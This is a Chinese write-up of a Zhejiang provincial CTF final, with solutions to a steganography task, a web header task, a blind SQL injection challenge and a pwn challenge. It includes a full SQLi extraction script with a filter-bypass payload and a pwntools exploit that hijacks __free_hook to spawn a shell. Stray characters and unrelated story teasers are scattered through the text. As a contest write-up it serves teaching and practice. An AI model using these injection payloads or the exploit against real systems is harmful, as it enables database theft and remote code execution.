[浙江省首屆網(wǎng)絡(luò)安全大賽決賽] writeup

浙江省首屆網(wǎng)絡(luò)安全大賽決賽Write Up

隊(duì)名:ch1pppppppp
web是liano做的~
為了拿創(chuàng)新學(xué)分來打的這個(gè)比賽秀撇,初賽題目非常簡單,決賽的題目平均質(zhì)量不是很好毫玖,但是也有幾道比較有趣的題目,所以放一份詳細(xì)的 Write Up 出來供師傅們參考织堂。

上午的時(shí)候由于我們沒有準(zhǔn)備 misc 的工具瓦灶,又沒有外網(wǎng)村斟,所以一直0分贫导,下午官方提供了 misc 工具并且開始放附加題之后,才開始上分蟆盹。最后一共做出 4 道題目孩灯,得分2100分,位列本科組第一名逾滥。(aris太強(qiáng)了)

ps:題目標(biāo)記的得分為基礎(chǔ)分峰档,每一個(gè)隊(duì)伍做出題目,下一個(gè)做出的隊(duì)伍將會(huì)少得兩分匣距。

小豬佩奇(Misc:400分)

題目地址:

http://sec4.hdu.edu.cn:40001/pig_peppa/pig_peppa.zip

解壓之后得到一個(gè)file.png 和一個(gè) pwd.docx

直接打開pwd.docx面哥,發(fā)現(xiàn)是空的,那么將其作為zip 解壓毅待,在其中找到了一張二維碼

-w543

掃碼之后得到結(jié)果:password:APIG

然后查看 file.png,binwalk 發(fā)現(xiàn)存在 mp3 文件, 使用foremost 分離

-w372

隨后使用 mp3steno 解密归榕,密碼就是上面拿到的 APIG尸红,得到 base64 編碼后的 flag,解碼后:

ZJCTF{YouKnow!Peppa_AsocialPerson}

你得點(diǎn)的快 (Web:400分)

題目地址:

http://sec4.hdu.edu.cn:20004/

點(diǎn)開題目地址刹泄,發(fā)現(xiàn)提示說外里,把你發(fā)現(xiàn)的東西 POST 回來,在響應(yīng)頭里面發(fā)現(xiàn) flag 字段特石,base64 解碼兩次后盅蝗,POST 回去即可拿到 flag

import requests
import base64

re =requests.session()
url = 'http://172.21.1.102:61234/hC1DU4oEZ3'

html = re.post(url)

head = html.headers['flag']

print html.content

heade = base64.b64decode(base64.b64decode(head).split(': ')[-1])

data = {'flag':heade,'margin':heade}

print heade

html = re.post(url,data=data)

print html.content

盲人摸象(Web:600分)

題目地址:

http://sec4.hdu.edu.cn:20003/

一道典型的 sql 盲注題,本次比賽為數(shù)不多的質(zhì)量較高 Web 題目姆蘸,全場也只有我們做出這道題目墩莫。

信息收集:

注入點(diǎn):

POST /iFmn2H0UOq HTTP/1.1
Host: 172.21.1.102:61234

id=1&Submit=Search

測試:

  1. 首先輸入正常的id 如 1,2,3,4芙委,abcd ,發(fā)現(xiàn)返回的結(jié)果均為You find it!
  2. 輸入id1-2,返回結(jié)果依然為You find it!,判斷為字符型注入
  3. 輸入'狂秦,發(fā)現(xiàn)返回Probably you need an other mothod.,猜測為被攔截
  4. 輸入",返回Hide more deep.,猜測對(duì)應(yīng)為返回值為假.

那么到現(xiàn)在我們已經(jīng)有了足夠的信息:

  1. 注入為字符型注入灌侣,使用" 進(jìn)行閉合
  2. 當(dāng)返回值為真時(shí),返回的內(nèi)容為:You find it!
  3. 當(dāng)輸入的內(nèi)容被攔截時(shí)裂问,返回為:Probably you need an other mothod.
  4. 當(dāng)查詢函數(shù)返回值為假(語法錯(cuò)誤侧啼,或者查詢?yōu)榭眨r(shí),返回為:Hide more deep.

構(gòu)造poc:

那么通過這些已知信息堪簿,我們可以構(gòu)造poc
首先測試一下都攔截了哪些關(guān)鍵字痊乾,經(jīng)測試:
if,mid,left,like,regexp,and,(空格),=#,'椭更,> 等關(guān)鍵字被過濾
比較容易想到的是符喝,使用/**/,來代替空格甜孤,substr 來進(jìn)行字符串截取协饲,-- 來注釋掉語句末尾的雙引號(hào)。
而構(gòu)造比較缴川,則可以通過<,in 來實(shí)現(xiàn),我選擇通過in進(jìn)行構(gòu)造茉稠。于是poc為:

id=-1"/**/or/**/substr(user(),1,1)/**/in/**/("s")--+&Submit=Search
image

編寫exp:

在上面poc的基礎(chǔ)上,很容易寫出腳本了,不過做題時(shí)也遇到了一些小問題把夸,值得說一下:

  1. python 腳本中使用 -- 進(jìn)行注釋時(shí)而线,發(fā)現(xiàn)總會(huì)返回Hide more deep. 而在Burp 中則沒有這個(gè)問題,不知道是什么原因恋日,于是換用or "0' 來閉合雙引號(hào)膀篮。

  2. 在當(dāng)前庫tips中,并沒有發(fā)現(xiàn)flag ,需要進(jìn)行跨庫查詢岂膳,首先需要先在information_schema 庫中誓竿,獲得所有的庫名。

    payload:payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'

    得到還存在一個(gè)名為userless 的數(shù)據(jù)庫谈截,查詢其表段筷屡,得知存在zjctf 表,flag 在其content 字段簸喂。

  3. 跑出的 flag 為:zjctf{aa0_bl1nd_hha} 但是上交時(shí)提示錯(cuò)誤毙死。懵了一會(huì)兒后突然想起in 是不區(qū)分大小寫的。 那么猜測大寫字母喻鳄,針對(duì) flag 中唯一的單詞扼倘,嘗試提交aa0_Bl1nd_hha 成功!

image

下面是完整的腳本:

"""
    Author:Li4n0
    Date:2018-11-4
"""
import requests
import string

# in 不區(qū)分大小寫 需要自己再判斷一次

url = 'http://172.21.1.102:61234/iFmn2H0UOq'
#payload = '-1" or substr((select group_concat(column_name) from information_schema.columns where table_name in ("zjctf")),%s,1) in ("%s") or "0'

#payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'

payload = '-1" or substr((select group_concat(content) from useless.zjctf),%s,1) in ("%s") or "0'
key = ''
length = 1
while True:
    for i in string.printable.replace('#', ''):
        data = {
            'id': payload.replace(' ', '/**/') % (str(length), i),
            'Submit': 'Search'
        }
        r = requests.post(url, data=data)
        if 'You find' in r.text:
            key += I
            length += 1
            break
    print(key)

互聯(lián)互通(Pwn:800分):

主辦方在比賽結(jié)束前一個(gè)半小時(shí)放出這道題目除呵,時(shí)間上還是很緊的再菊,所幸最后在比賽結(jié)束前 20 分鐘寫完了 exp爪喘,拿到了 flag。

首先提供一個(gè)binary:

鏈接:https://pan.baidu.com/s/1huFet01eELSUgN99GUzmwA 提取碼:9d1g

IDA載入看下代碼發(fā)現(xiàn)不少漏洞袄简,我選擇利用起來相對(duì)簡單的這個(gè)腥放,程序中對(duì)于 Index 的范圍沒有檢查

image

而在編輯 message 的函數(shù)中則沒有輸入 index 的邏輯,而是沿用上一次的

image

觀察 bss 段發(fā)現(xiàn) username 所在的地址最低,下面有password绿语,length 數(shù)組和 message 數(shù)組

image

另外在輸出函數(shù)中對(duì) index 的檢查更加嚴(yán)格秃症,無法進(jìn)行下標(biāo)溢出

于是考慮在 username 寫 message 數(shù)組地址,讓 index 等于 -8(計(jì)算得到的name+0x10對(duì)應(yīng)的下標(biāo),之所以是name+0x10 是因?yàn)?edit 中 read 的長度是由 length[index] 控制的吕粹,而他和 message 數(shù)組的偏移是0x10种柑,這樣寫就可以一起控制),然后就可以任意修改 message 數(shù)組匹耕,然后改成 got 表地址就可以在 index 不溢出的情況下leak 到 libc 地址

有了libc 地址和任意地址寫聚请,拿shell就非常容易了,這里選擇一種較為簡單的方式

__free_hooksystem稳其,最后傳入一個(gè)/bin/sh的地址驶赏,觸發(fā)free()就可以拿到shellexp如下:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./cont')
    bin = ELF('./cont')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    cn = remote('172.21.1.103',10001)
    bin = ELF('./cont')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,length,con):
    cn.sendlineafter('>> ','1')
    cn.sendlineafter('Index: ',str(idx))
    cn.sendlineafter('Length: ',str(length))
    cn.sendlineafter('Message: ',con)

def edit(idx,con):
    cn.sendlineafter('>> ','1')
    cn.sendlineafter('Index: ',str(idx))
    cn.sendlineafter('>> ','2')
    cn.sendlineafter('Edit message: ',con)

def show(idx):
    cn.sendlineafter('>> ','3')
    cn.sendlineafter('Index: ',str(idx))

def dele(idx):
    cn.sendlineafter('>> ','4')
    cn.sendlineafter('Index: ',str(idx))

def change(pw,newname,newpw):
    cn.sendlineafter('>> ','5')
    cn.sendafter('Password: ',pw)
    cn.sendlineafter('New user name: ',newname)
    cn.sendafter('New password: ',newpw)


cn.sendlineafter('What\'s user name: ','a'* 0x10 + p64(0x602A70))
cn.sendlineafter(' (y/n) ','y')
cn.sendlineafter('Password: ','bbb')


add(0,0x20,'aaaa')

change('bbb\n','a'* 0x10 + p64(0x602A70),'bbb\n')

edit(-8,p64(0x601FC0))

show(0)
cn.recvuntil('View Message: ')
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['getchar']
print('lbase:' + hex(lbase))

change('bbb','a'* 0x10 + p64(lbase+libc.sym['__free_hook']),'bbb\n')

edit(-8,p64(lbase + libc.sym['system']))

change('bbb','a'* 0x10 + p64(0x602A70),'bbb\n')

edit(-8,p64(lbase + libc.search('/bin/sh\x00').next()))

dele(0)

cn.interactive()

最后我們?cè)賮砩晕⒂懻撘幌逻@題其他的部分(怎么看怎么像是出給AWD的題目既鞠,然而賽制是解題)

首先在更改密碼處

image

這個(gè)地方有個(gè)off by one煤傍,通過上面 bss 的圖可以發(fā)現(xiàn),這個(gè)一字節(jié)的溢出可以更改 length 數(shù)組的第一個(gè)length 的最低位嘱蛋,這樣再通過edit功能就可以進(jìn)行堆溢出相關(guān)的攻擊蚯姆。

另外,在 add 功能中直接就有一個(gè)堆溢出

image

這里判斷輸入的 length 如果大于0x20就只malloc(0x20)洒敏,但是read的長度仍然是你輸入的 length龄恋。。凶伙。

另外還有一個(gè)地方

image

這里有一個(gè)隱藏的命令執(zhí)行郭毕,如果在AWD中被修補(bǔ)了某些漏洞導(dǎo)致我們可以劫持一次控制流但無法leak地址的話,來這里執(zhí)行shellcode應(yīng)該是個(gè)不錯(cuò)的辦法


這題可能還藏著更多的漏洞镊靴,比賽上時(shí)間有限就只找到這些了=铣卡。=希望有興趣的同學(xué)能挖出更多的問題,或是把我找到的但沒有利用起來的漏洞寫個(gè)exp也是一個(gè)不錯(cuò)的學(xué)習(xí)方法偏竟!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市敞峭,隨后出現(xiàn)的幾起案子踊谋,更是在濱河造成了極大的恐慌,老刑警劉巖旋讹,帶你破解...
    沈念sama閱讀 217,406評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件殖蚕,死亡現(xiàn)場離奇詭異轿衔,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)睦疫,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,732評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門害驹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蛤育,你說我怎么就攤上這事宛官。” “怎么了瓦糕?”我有些...
    開封第一講書人閱讀 163,711評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長咕娄。 經(jīng)常有香客問我亥揖,道長,這世上最難降的妖魔是什么圣勒? 我笑而不...
    開封第一講書人閱讀 58,380評(píng)論 1 293
  • 正文 為了忘掉前任费变,我火速辦了婚禮,結(jié)果婚禮上圣贸,老公的妹妹穿的比我還像新娘挚歧。我一直安慰自己,他們只是感情好旁趟,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,432評(píng)論 6 392
  • 文/花漫 我一把揭開白布昼激。 她就那樣靜靜地躺著,像睡著了一般锡搜。 火紅的嫁衣襯著肌膚如雪橙困。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,301評(píng)論 1 301
  • 那天耕餐,我揣著相機(jī)與錄音凡傅,去河邊找鬼。 笑死肠缔,一個(gè)胖子當(dāng)著我的面吹牛夏跷,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播明未,決...
    沈念sama閱讀 40,145評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼槽华,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了趟妥?” 一聲冷哼從身側(cè)響起猫态,我...
    開封第一講書人閱讀 39,008評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后亲雪,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體勇凭,經(jīng)...
    沈念sama閱讀 45,443評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,649評(píng)論 3 334
  • 正文 我和宋清朗相戀三年义辕,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了虾标。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,795評(píng)論 1 347
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡灌砖,死狀恐怖璧函,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情周崭,我是刑警寧澤柳譬,帶...
    沈念sama閱讀 35,501評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站续镇,受9級(jí)特大地震影響美澳,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜摸航,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,119評(píng)論 3 328
  • 文/蒙蒙 一制跟、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧酱虎,春花似錦雨膨、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,731評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至恢暖,卻和暖如春排监,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背杰捂。 一陣腳步聲響...
    開封第一講書人閱讀 32,865評(píng)論 1 269
  • 我被黑心中介騙來泰國打工舆床, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人嫁佳。 一個(gè)月前我還...
    沈念sama閱讀 47,899評(píng)論 2 370
  • 正文 我出身青樓挨队,卻偏偏與公主長得像,于是被迫代替她去往敵國和親蒿往。 傳聞我的和親對(duì)象是個(gè)殘疾皇子盛垦,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,724評(píng)論 2 354